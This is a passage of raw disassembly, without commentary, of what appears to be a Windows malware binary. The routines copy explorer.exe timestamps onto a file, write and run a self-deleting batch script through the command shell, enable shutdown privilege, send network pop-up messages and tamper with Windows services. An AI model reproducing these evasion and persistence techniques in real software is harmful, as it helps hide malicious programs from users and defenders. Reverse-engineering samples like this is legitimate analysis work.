loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 282073Dh
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2820000h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 271092Ch
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		call	near ptr 2670858h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0574h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 26A047Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26A0305h


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2830000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2670C08h


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E05B4h
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E05B4h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0BEDh
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26C0000h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27B04A2h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		call	near ptr 2690DCCh
		nop
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 2690DCCh
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		call	near ptr 2690DCCh
		nop
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2690DCCh
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
